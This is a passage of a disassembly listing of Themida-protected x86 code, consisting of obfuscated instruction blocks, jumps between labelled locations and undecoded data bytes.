; ---------------------------------------------------------------------------


loc_4F66FC:				; CODE XREF: Themida_:004F93E1j
		sub	esp, 4
		mov	[esp], eax
		push	edi
		push	51AE5D8Dh
		jmp	loc_4FAC81
; ---------------------------------------------------------------------------
		db 66h,	0FFh, 30h
		dd 0FFF5FDE9h, 0E9EA31FFh, 8993h, 8BB95155h, 0E92A181Ch
		dd 88D4h, 4B8h,	58C50100h, 8102C583h, 4ECh, 242C8900h
		dd 42474FFh, 43E2E95Dh,	0E0890000h, 405h, 40500h, 4870000h
		dd 88505C24h, 58E388F4h, 3EE7E9h, 148B6600h, 6C5EE924h
		dd 0C8B0000h, 4C48324h,	6FD4E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6775:				; CODE XREF: Themida_:004F6164j
		not	edx
		sub	edx, 183446C2h
		sub	edx, 141E701Dh
		inc	edx
		not	edx
		neg	edx
		sub	edx, 69955828h
		add	edx, 6D5BF470h
		sub	edi, edx
		jmp	loc_4FE6C4
; ---------------------------------------------------------------------------
		db 29h
		dd 0F2815DEAh, 32211F55h, 0A819F281h, 0D5012C7Ah, 2BA525Ah
		dd 81000000h, 5C7CE5EDh, 0E9D50112h, 6EDBh, 0BF57D901h
		dd 1000446Bh, 0E95FF901h, 581Bh
; ---------------------------------------------------------------------------


loc_4F67D0:				; CODE XREF: Themida_:0050068Ej
		push	dword ptr [esp]
		pop	ebx
		push	34D8h
		mov	[esp], ecx
		jmp	loc_500BFF
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0CBFE0000h, 68h, 241C2800h, 2426E9h,	48F5800h
		dd 48DE924h, 7DB10000h,	34FFCB00h, 0C4835924h, 66C30004h
		dd 80BEB551h, 506625F5h, 0C53044B0h, 0CDFE5866h, 80BEED80h
		dd 0E95001EDh, 545Dh
; ---------------------------------------------------------------------------


loc_4F682C:				; CODE XREF: Themida_:004F6DF0j
		push	12FC03E1h
		pop	ecx
		xor	ecx, 12FC0BE1h
		jmp	loc_500EEF
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 99h
		dd 0E946C31Ch, 2FCFh, 53E9CF88h, 66000091h, 0E9515351h
		dd 7173h, 0C72641BDh, 0D5F74543h, 0FFF85DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F6865:				; CODE XREF: Themida_:004FD41Fj
		add	ebp, ebx
		jmp	loc_4F9FDE
; ---------------------------------------------------------------------------
		dd 0FFF4A1E9h, 4EC83FFh, 68241489h, 59690CD3h, 0DAF74A5Ah
		dd 0CB98EA81h, 0D78933C8h, 0E924148Bh, 2C02h, 24048B66h
		dd 2A5A6853h, 24890000h, 24048124h, 4, 0FFF666E9h, 48153FFh
		dd 5D7BC924h, 81008F47h, 5D7BC928h, 30815B47h, 0B2D55684h
		dd 0FFF75AE9h, 1C77FFFFh, 0D359669Dh, 0E99C241Ch, 0FFFFF43Eh
		dd 875BDD01h, 0E95C242Ch, 138Ch, 81242489h, 42404h, 52590000h
		dd 4BAh, 0D6EE900h, 51500000h, 464CF668h, 240C8B17h, 0F704C483h
		dd 8E1C1D1h, 5648C981h,	49E904EFh
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F6913:				; CODE XREF: Themida_:004FE896j
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 76BD422Bh
		not	ebp
		xor	ebp, 3ED11141h
		not	ebp
		or	ebp, 3E64741Ah
		add	ebp, 8193888Ah
		add	eax, ebp
		pop	ebp
		add	eax, 4
		jmp	loc_4FC8C7
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C4h
		dd 4, 1AFCC381h, 6AE9247Bh, 8900004Eh, 4C381E3h, 83000000h
		dd 0F3E904C3h, 66000019h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	3B24h
		jmp	loc_4F64F4
; ---------------------------------------------------------------------------
		dd 66D33166h, 0E3C1665Ah, 0EB816603h, 0E1E983EFh
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F6987:				; CODE XREF: Themida_:004FCEE7j
		add	esp, 4
		jmp	loc_4FE382
; ---------------------------------------------------------------------------
		db 2Ch
		dd 18E7E909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F6996:				; CODE XREF: Themida_:004FD9FCj
		push	195Bh
		mov	[esp], esi
		push	edi
		mov	edi, 82A6484h
		neg	edi
		and	edi, 152D3AB8h
		and	edi, 441A70C7h
		xor	edi, 1160353Ch
		mov	esi, edi
		jmp	loc_4FAC7B
; ---------------------------------------------------------------------------
		db 81h
		dd 474825C9h, 0A5E98144h, 816ED748h, 5B1F7CEDh,	0E9CD010Eh
		dd 7226h, 83241C8Bh, 536604C4h,	1E6FE9h, 0FF686600h, 665A6617h
		dd 666313BDh, 665AD529h, 5D66EA89h, 5BDA2966h, 9807E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6A01:				; CODE XREF: Themida_:004F7CC5j
		sub	esi, ebp
		push	ebp
		mov	ebp, 0DF266D0h
		neg	ebp
		shr	ebp, 2
		not	ebp
		add	ebp, 5A897969h
		sub	ebp, 1842231Eh
		jmp	loc_4F703C
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 241C3153h, 31241C33h, 0D387241Ch, 0D387D2F7h, 2474FF53h
		dd 48F5B04h, 371CE924h,	89660000h, 0B252240Ch, 1CC280A5h
		dd 8B3EE9h, 8089B100h, 0C800D5E9h, 1298E9h, 4C48100h, 0E9000000h
		dd 7B21h
; ---------------------------------------------------------------------------


loc_4F6A68:				; CODE XREF: Themida_:00500D38j
		mov	ebp, 1BE8A567h
		add	ebp, esi
		pop	esi
		shl	ebp, 4
		not	ebp
		xchg	edi, ebp
		inc	edi
		xchg	edi, ebp
		neg	ebp
		sub	ebp, 2B1EB785h
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, esi
		pop	esi
		sub	edx, eax
		pop	eax
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_4F72B3
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 26725222h
		add	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_4FC3BF
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 55h
		dd 594E0E40h, 8B241487h, 8B662424h, 5451240Ch, 4C18159h
		dd 83000000h, 1AE904E9h, 66000041h, 66706868h, 0B4240489h
		dd 66E10802h, 8324048Bh, 0B45002C4h, 0FEC4FE72h, 8ECC0C4h
		dd 8086EC80h, 0E1286CF4h, 83C1FE58h, 148904ECh,	0B69FE924h
		dd 8B660000h, 0E9502404h, 6A0Dh, 104968h, 24348900h, 8904EC83h
		dd 4832424h, 348B0424h,	4C48124h, 81000000h, 4C6h, 4BF5700h
		dd 1000000h, 34335FFEh,	93F0E924h, 0E9550000h, 6856h, 1BD1C281h
		dd 0EA81494Ch, 23AE09AAh, 0BE56CA01h, 242D536Fh, 2F54BB53h
		dd 0DE3162A5h, 12F6815Bh, 814A5967h, 0DCEE81C6h, 5EF20116h
		dd 1BD16851h, 2959494Ch, 30E959CAh, 0F70000B5h,	0FEF681DEh
		dd 0E942DE6Dh, 4979h, 5BFC381h,	0D3012AACh, 5BFEB81h, 0EC832AACh
		dd 24048904h, 4E5554B8h, 5E0C122h, 4159812Dh, 48F70509h
		dd 0E9487ED8h, 506Ah
; ---------------------------------------------------------------------------


loc_4F6BC4:				; CODE XREF: Themida_:00501A1Aj
		mov	eax, 112F6DE6h
		push	eax
		sub	dword ptr [esp], 5F9946ECh
		jmp	loc_4FC3CE
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 0FFF257E9h, 241489FFh, 0F388C688h, 8124148Bh, 4ECh
		dd 92D2E900h, 89660000h, 0D868241Ch, 0E9000045h, 0FFFFFFDDh
		dd 0E9241487h, 887Bh
; ---------------------------------------------------------------------------


loc_4F6C08:				; CODE XREF: Themida_:004FAEB0j
		mov	ebx, 6C3F780Ch
		dec	ebx
		jmp	loc_4FCA4F
; ---------------------------------------------------------------------------
		dd offset loc_420965+3
		align 4
		dd 68243C89h, 739811C2h, 0D8E9475Fh, 5600008Ch,	6D1C2568h
		dd 61E95E2Fh, 56000025h, 468h, 0F2015E00h, 2414875Eh, 376BE9h
		dd 1726800h, 0B3E90000h, 5800001Bh, 1FE9F201h, 5D000023h
		dd 58C2E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6C5D:				; CODE XREF: Themida_:005006F0j
		mov	[esp], edi
		push	ecx
		mov	ecx, 1000000h
		push	76EAh
		mov	[esp], ecx
		pop	edi
		pop	ecx
		jmp	loc_4F8B1A
; ---------------------------------------------------------------------------


loc_4F6C75:				; CODE XREF: Themida_:004FA3E6j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_4F70A2
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 0EC832404h, 24048904h, 0FFF1C3E9h, 4C483FFh
		dd 4BF57h, 0FB010000h, 2B9515Fh, 81000000h, 115949C3h
		dd 81CB015Ah, 115949EBh, 1C87595Ah, 31665C24h, 0E99C2404h
		dd 0FFFFF042h, 0C281C201h, 4C715BE7h, 3A9DE9h, 2434FF00h
		dd 4C4815Dh, 31000000h,	2434FFF8h, 81243C8Bh, 4C4h, 6E60E900h
		dd 0E9550000h, 0C5Ch, 9D9C41BFh, 0A673E9A3h, 0E95C0000h
		dd 0A70Eh, 8704EF83h, 17E9243Ch
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F6D1B:				; CODE XREF: Themida_:005006C5j
		push	237Ch
		jmp	loc_4FACE6
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 6804C483h, 545Ch, 89241C89h,	4BA52E3h, 0E9000000h, 58CBh
		dd 5304C483h, 0E7C049B7h, 300AE905h, 48F0000h, 4E11E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F6D56:				; CODE XREF: Themida_:0050172Fj
		add	ecx, 4
		jmp	loc_4FD932
; ---------------------------------------------------------------------------


loc_4F6D61:				; CODE XREF: Themida_:004FA4A1j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	1CCAh
		mov	[esp], esi
		push	edx
		jmp	loc_4F89D5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0F66E9F6h, 8953CCB6h, 9CE957E3h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F6D8B:				; CODE XREF: Themida_:004FB15Cj
		xchg	ebp, [esp]
		pop	esp
		push	esi
		push	esp
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_4FEFED
; ---------------------------------------------------------------------------


loc_4F6DB5:				; CODE XREF: Themida_:004FEBD9j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FAA04
; ---------------------------------------------------------------------------
		db 5, 4Ch, 4Eh
		dd 0BA2D6242h, 295FCB52h, 52BA05E8h, 4C2D5FCBh,	5D62424Eh
		dd 762E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6DDD:				; CODE XREF: Themida_:004FDFBBj
		mov	ebp, edi
		pop	edi
		xor	ebp, 79885C8Ch
		jmp	loc_500EBF
; ---------------------------------------------------------------------------


loc_4F6DEB:				; CODE XREF: Themida_:00501011j
		mov	esp, [esp]
		push	edi
		push	ecx
		jmp	loc_4F682C
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
aZSro		db '‡<$é®',0
		align 10h
		dd 81F3E981h, 0C8294276h, 5D94E9h, 0E9814100h, 246709D9h
		dd 7EA8BA52h, 0D1311784h, 22C1815Ah, 0C1370B51h, 0E98107E1h
		dd 7465F57Ch, 8159CB01h, 2C3h, 241C8700h, 0F624248Bh, 0B60F66F1h
		dd 16866CCh, 0C896618h,	0B60F6624h, 9C5166C8h, 0FFEEBDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F6E55:				; CODE XREF: Themida_:004F8DE7j
		add	ebp, 1
		dec	ebp
		xor	ebp, 33194291h
		add	ebx, ebp
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_4F8CC4
; ---------------------------------------------------------------------------


loc_4F6E6F:				; CODE XREF: Themida_:004FD202j
		mov	[esp], ecx
		mov	cl, 0A7h
		neg	cl
		or	cl, 3Dh
		add	cl, 0B9h
		or	cl, 66h
		add	cl, 1Dh
		sub	cl, 17h
		sub	bl, cl
		jmp	loc_501132
; ---------------------------------------------------------------------------


loc_4F6E8C:				; CODE XREF: Themida_:004FD769j
		shl	ecx, 4
		add	ecx, 0C991CA21h
		mov	edx, ecx
		jmp	loc_4F6417
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 1178h, 5324048Bh, 86E9h,	74FF5700h, 3C8B0424h
		dd 4C48324h, 0B2E9h, 40EF8100h,	81073115h, 0C07B0FC7h
		dd 81CF2954h, 0C07B0FEFh, 40C78154h, 81073115h,	0F56A08EFh
		dd 0EB81592Ah, 75185666h, 2807E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6EE9:				; CODE XREF: Themida_:004FABDFj
		inc	edx
		sub	edx, 224E6F8Fh
		add	edx, 36D60D54h
		shl	edx, 4
		jmp	loc_4F98B9
; ---------------------------------------------------------------------------
		dw 0F758h
		dd 0D12D40D8h, 8911E08Ah, 0E95058C6h, 1C26h, 243C895Ch
		dd 51B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F6F19:				; CODE XREF: Themida_:004FD5BAj
		mov	[esp], eax
		mov	eax, 3CDE49F3h
		push	eax
		not	dword ptr [esp]
		pop	eax
		shl	eax, 1
		inc	eax
		push	37A8h
		jmp	loc_4FCE5A
; ---------------------------------------------------------------------------
		db 54h
		dd 81241C8Bh, 4C4h, 8DBF5700h, 4F781B4Dh, 74F4E9h, 0E8835C00h
		dd 24048704h, 2414895Ch, 0B7E99C50h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F6F5B:				; CODE XREF: Themida_:00501111j
		sub	ecx, 2DE91ACAh
		add	ebp, ecx
		pop	ecx
		jmp	loc_4FF2C5
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 0A9h
		dd 8FFFFFFBh, 815C2404h, 4ECh, 241C8900h, 8B53C389h, 54552414h
		dd 4C5815Dh, 0E9000000h, 4D45h,	4BAh, 5AD70100h, 5C243C87h
		dd 252768h, 24048900h, 0FFED69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F6FA9:				; CODE XREF: Themida_:004FF64Bj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_4F720D
; ---------------------------------------------------------------------------
		dd 55CEEA81h, 0C2011B22h, 3A7EB951h, 0D1877626h, 0D187DAF7h
		dd 8106E1C1h, 53354EF1h, 0E9CA016Dh, 1F98h
; ---------------------------------------------------------------------------


loc_4F6FE4:				; CODE XREF: Themida_:004FCA70j
		sub	eax, 41005414h
		not	eax
		jmp	loc_501F9B
; ---------------------------------------------------------------------------
		dd 0D8769D25h, 24DF0509h, 0C789684Eh, 0D2F78158h, 813E8E43h
		dd 0C01B09F7h, 50C6814Eh, 136AC2Ch, 50EE81FEh, 8B36AC2Ch
		dd 0EC81243Ch, 4, 89243C89h, 4C781E7h, 51000000h, 4B9h
		dd 59CF0100h, 0E9243C87h, 11ADh
; ---------------------------------------------------------------------------


loc_4F703C:				; CODE XREF: Themida_:004F6A1Cj
		sub	ebp, 0DFA1D381h
		sub	esi, ebp
		push	dword ptr [esp]
		jmp	loc_4F8365
; ---------------------------------------------------------------------------
		dd 0F204D0F6h, 5358C708h, 12454F6h, 0C0CFFE5Bh,	0B25203E7h
		dd 0B8EA804Bh, 8017C280h, 0D72850EAh, 28B1E95Ah, 8B660000h
		dd 0E9512404h, 7FD1h
; ---------------------------------------------------------------------------


loc_4F707C:				; CODE XREF: Themida_:004F875Bj
		push	edx
		jmp	loc_4F99FD
; ---------------------------------------------------------------------------
		dw 34FFh
aSn		db '$^é­#',0
		db 0
; ---------------------------------------------------------------------------


loc_4F708B:				; CODE XREF: Themida_:004FD36Dj
		push	ecx
		mov	cl, al
		sub	esp, 4
		jmp	loc_4FDAFA
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24048324h, 0EC70E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F70A2:				; CODE XREF: Themida_:004F6C8Aj
		mov	[esp], ebx
		push	eax
		mov	eax, 2ACB2530h
		xor	[esp+4], eax
		jmp	loc_501F57
; ---------------------------------------------------------------------------


loc_4F70B4:				; CODE XREF: Themida_:004F89A5j
		add	ecx, 568251C5h
		jmp	loc_4FCF01
; ---------------------------------------------------------------------------
		db 83h
		dd 348704EEh, 24248B24h, 12C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F70CD:				; CODE XREF: Themida_:004FCE30j
		sub	edi, ecx
		pop	ecx
		jmp	loc_4F7834
; ---------------------------------------------------------------------------
		db 0BEh, 54h, 1Ah
		dd 0F6811370h, 3E9E0238h, 5A5EF031h, 0A1E9C131h, 8100001Eh
		dd 0A5FFDE2h, 233E953h,	0CF680000h, 0E937B753h,	0E49h
		dd 24040966h, 0EC08E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F710A:				; CODE XREF: Themida_:00500697j
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	eax, 71F16C4Dh
		add	eax, esi
		add	eax, 71F16C4Dh
		pop	esi
		jmp	loc_4F7985
; ---------------------------------------------------------------------------
a0Yqso		db '0ÈYQéO<',0
		db 0
; ---------------------------------------------------------------------------


loc_4F7131:				; CODE XREF: Themida_:004FA135j
		push	ecx
		mov	ecx, 66D928ACh
		add	esi, ecx
		pop	ecx
		dec	esi
		add	esi, 9F1B2C85h
		mov	ecx, esi
		jmp	loc_4FE21F
; ---------------------------------------------------------------------------
		dd 4C481h, 0C1810000h, 0F1706F29h, 8636E9h, 24048F00h
		dd 2414895Ch, 6DAA68h, 24248900h, 4240483h, 7178E95Ah
		dd 0E1810000h, 780A33F3h, 0F8F18149h, 971CC4Eh,	0AA9DE9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7186:				; CODE XREF: Themida_:004FEA05j
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_4FE1E5
; ---------------------------------------------------------------------------


loc_4F719B:				; CODE XREF: Themida_:004FF5B6j
		sub	ebp, ebx
		jmp	loc_5010AF
; ---------------------------------------------------------------------------


loc_4F71A2:				; CODE XREF: Themida_:004FF58Aj
		mov	ebx, 4
		add	ebp, 7773898h
		add	ebp, ebx
		sub	ebp, 7773898h
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		pop	esp
		push	1860h
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, edi
		push	dword ptr [esp]
		jmp	loc_4FAAC8
; ---------------------------------------------------------------------------
		dw 0D831h
		dd 118ABE56h, 535168FAh, 86EDE9h, 5EF38900h, 0E95BD989h
		dd 0FFFFF7BBh, 535D5455h, 91ECE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F720D:				; CODE XREF: Themida_:004F6FBBj
		or	edx, eax
		shl	edx, 1
		xchg	ecx, [edi+24h]
		add	ecx, 1
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		mov	ecx, [esp]
		push	ebp
		jmp	loc_4FCAB0
; ---------------------------------------------------------------------------
		dw 2B2Ch
		dd 0F64BB753h, 0FEC7FED7h, 52C7FECFh, 0ADE90FB6h, 830000AFh
		dd 0C4E904C4h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7247:				; CODE XREF: Themida_:004FBE5Fj
		push	edi
		mov	edi, 4B57322Ah
		or	ebp, edi
		jmp	loc_4FC124
; ---------------------------------------------------------------------------
		dd 5B5DEE89h, 7D242A05h, 2340E933h, 55E0000h, 3DFF460Dh
		dd 0D2DD001h, 5A3DFF46h, 3B2EBB53h, 683A4Fh, 0E9000000h
		dd 4A10h, 83241C8Bh, 835104C4h,	48904ECh, 9138E924h, 28D10000h
		dd 0BB53h, 182B0000h, 0FFF608E9h, 0E9D7F7FFh, 86E9h
; ---------------------------------------------------------------------------


loc_4F72A8:				; CODE XREF: Themida_:004FC3C9j
		push	esi
		mov	esi, 4
		jmp	loc_501228
; ---------------------------------------------------------------------------


loc_4F72B3:				; CODE XREF: Themida_:004F6A9Dj
					; Themida_:004FE1EEj
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		jmp	loc_501361
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 6BE11BAFh, 1EE453B9h, 5EF10194h, 4055EA81h, 0CA014E0Eh
		dd 0FFF7DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F72DD:				; CODE XREF: Themida_:00500AB6j
		xchg	ebx, [esp]
		push	ebx
		not	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	ebx
		push	2135h
		mov	[esp], ebx
		jmp	loc_500DC6
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 49000000h,	2F61E981h, 0E9C17022h, 0CFF5103h
		dd 240C8B24h, 4BE95452h, 1FFFFF2h, 240C8BCAh, 0B3BDE9h
		dd 0F28100h, 83422D6Ch,	0F28101EAh, 849DF8Ch, 24348152h
		dd 2DEE186Ch, 8EE95658h, 29FFFFFDh, 0D7895DEAh,	0CFEF815Ah
		dd 0E97F810Eh, 8A0Fh, 4BA525Dh,	1000000h, 24148BD0h, 4878E9h
		dd 241C8900h, 42474FFh,	81241C8Bh, 4C4h, 24048F00h, 2024248Bh
		dd 0E99C2404h, 0FFFFE98Ah
; ---------------------------------------------------------------------------


loc_4F7388:				; CODE XREF: Themida_:004FF7D8j
		xor	ebp, [esp]
		pop	esp
		jmp	loc_4F80CD
; ---------------------------------------------------------------------------
		db 0E9h, 7Ch, 0E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F7396:				; CODE XREF: Themida_:004FC2A0j
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	esi, 4CEC22BEh
		add	esi, ecx
		jmp	loc_4FB557
; ---------------------------------------------------------------------------


loc_4F73BA:				; CODE XREF: Themida_:004FE1F4j
		pop	eax
		jmp	loc_4FF93A
; ---------------------------------------------------------------------------
		dd 21E88B05h, 53A2E91Eh, 4870000h, 14895C24h, 0AB8BA24h
		dd 0EAC14B62h, 0F7E2D103h, 70BD55D2h, 0E93EFE0Dh, 4301h
		dd 7EFC15Dh, 1334E781h,	87E93993h, 8B00000Fh, 14E9242Ch
		dd 0F00007Dh, 9C2404A3h, 0FFE909E9h, 2CD366FFh,	8AE99C24h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_4FE0CD
; ---------------------------------------------------------------------------
		db 89h
		dd 0BF57240Ch, 78A22E8Bh, 38DBF781h, 0C78133DDh, 50BC7643h
		dd 6F8DC781h, 0F9890FD0h, 8BCE315Fh, 0C481240Ch, 4, 348BF031h
		dd 4C48124h, 68000000h,	1505h, 9453E9h,	551E6800h, 34890000h
		dd 0BF575124h, 79590119h, 0D7F7DFF7h, 1DFBC781h, 0F989E2F6h
		dd 83243C8Bh, 776804C4h, 89000067h, 5EB82404h, 2D493328h
		dd 694928C7h, 96D6F796h, 234E9305h, 0D7E981F1h,	0E9135A3Fh
		dd 9615h, 28B6664h, 395C6866h, 8388E9h,	0C00EB100h, 0F3E907E1h
		dd 8100002Ch, 4C6h, 9062E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F74CE:				; CODE XREF: Themida_:005002E0j
		push	esi
		push	eax
		push	ecx
		mov	ecx, 8C62D0Eh
		jmp	loc_4FA823
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0E924048Fh, 0A8A3h
; ---------------------------------------------------------------------------


loc_4F74E4:				; CODE XREF: Themida_:004FCA51j
		shl	ebx, 5
		not	ebx
		shr	ebx, 1
		push	edi
		mov	edi, 6C65507Bh
		jmp	loc_4F94DC
; ---------------------------------------------------------------------------


loc_4F74F6:				; CODE XREF: Themida_:004FC1ECj
		add	ebp, esi
		pop	esi
		push	edi
		mov	edi, 4
		sub	ebp, edi
		pop	edi
		xor	ebp, [esp]
		jmp	loc_4FF7D5
; ---------------------------------------------------------------------------
aRs6m		db 'Ré6m',0
		align 10h
aSQcsSV		db ')ÆS»Qcè{éÀV',0
		db 0
; ---------------------------------------------------------------------------


loc_4F751D:				; CODE XREF: Themida_:004F90D2j
		mov	ebp, esi
		mov	esi, [esp]
		jmp	loc_4FA6BB
; ---------------------------------------------------------------------------
		db 58h
		dd 0E924048Fh, 0FFFFE7E2h
; ---------------------------------------------------------------------------


loc_4F7530:				; CODE XREF: Themida_:004FBC4Ej
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_4FD363
; ---------------------------------------------------------------------------
		db 52h
		dd 6FB1BE56h, 0F1E93C51h, 8B00007Dh, 8953240Ch,	68B951E3h
		dd 81503E19h, 3147F6C9h, 52E95527h, 570000AAh, 3704F2BFh
		dd 2BC78148h, 52066831h, 0D55580BAh, 4AFCE951h,	815E0000h
		dd 6A153EC3h, 136CE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7586:				; CODE XREF: Themida_:004FE199j
		add	ebx, edi
		sub	ebx, 6C2A3281h
		jmp	loc_4F9E59
; ---------------------------------------------------------------------------
		db 56h
		dd 468h, 0F1015E00h, 0FFEA70E9h, 89F929FFh, 0EFC159CFh
		dd 0E9E95008h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F75AF:				; CODE XREF: Themida_:004FE1D1j
		push	dword ptr [eax]
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dw 5053h
		dd 405E089h, 2D000000h,	4, 5C240487h, 87E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F75CD:				; CODE XREF: Themida_:004FF703j
		sub	eax, ebx
		pop	ebx
		push	eax
		add	dword ptr [esp], 51CC0B82h
		pop	edi
		sub	edi, 51CC0B82h
		jmp	loc_4F8F26
; ---------------------------------------------------------------------------
aB0q		db 'Á0Q',0
		align 2
		dw 0C801h
		dd 24048759h, 6624248Bh, 17E930FFh, 89FFFFE7h, 74FF2414h
		dd 55E90424h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F7607:				; CODE XREF: Themida_:004FB4D7j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	7782h
		mov	[esp], esi
		jmp	loc_4FFE50
; ---------------------------------------------------------------------------
		dw 558h
		dd 0DEF2C892h, 0E958C589h, 3062h, 496DE957h, 34FF0000h
		dd 0C4835B24h, 4BE5604h, 1000000h, 71E95EF3h, 89000048h
		dd 6DD268F0h, 0C890000h, 89C18924h, 0E95859CFh,	0D94h
		dd 34FFD101h, 6C685A24h, 89000058h, 0E389241Ch,	4C381h
		dd 0C3830000h, 241C8704h, 2C1835Ch, 2474FF51h, 240C8B04h
		dd 4C481h, 55E90000h, 0FF000017h, 5A042474h, 5C24048Fh
		dd 9C240409h, 0FFE669E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F76A9:				; CODE XREF: Themida_:004FCFF8j
		add	edi, ebx
		jmp	loc_4FA4F0
; ---------------------------------------------------------------------------
		dd 4445B951h, 0CB2942F3h, 62D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F76BD:				; CODE XREF: Themida_:004FD975j
		pop	eax
		push	ebp
		jmp	loc_500216
; ---------------------------------------------------------------------------
		dd 0B0240489h, 58C6003Dh, 0E914EE80h, 0FFFFECE3h, 56D6EB81h
		dd 0D3011673h, 48AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_4F76E1:				; CODE XREF: Themida_:004F651Fj
		movzx	ecx, al
		push	46D0h
		mov	[esp], ecx
		jmp	loc_5005D1
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 83E90000h, 83FFFFF9h, 0BF5704C4h, 3CE731F1h
		dd 55EFE9h, 4C68100h, 81000000h, 4ECh, 24048900h, 4B8h
		dd 51EE8100h, 0E97BE863h, 0FFFFFDE4h
; ---------------------------------------------------------------------------


loc_4F772C:				; CODE XREF: Themida_:004F9463j
		pop	ecx
		push	edi
		push	eax
		push	6B0A1537h
		pop	eax
		jmp	loc_4FB96F
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0DFA409C4h, 6DA6C181h, 0D101125Fh, 0D13E9h, 6CF5B900h
		dd 0CA292A89h, 6F8AE959h, 34FF0000h
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, 187314FDh
		inc	edi
		or	edi, 6EA27651h
		inc	edi
		push	ecx
		mov	ecx, 496F2C12h
		push	ecx
		dec	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		or	ecx, 17467F86h
		add	ecx, 2BEB2F2Bh
		not	ecx
		push	esi
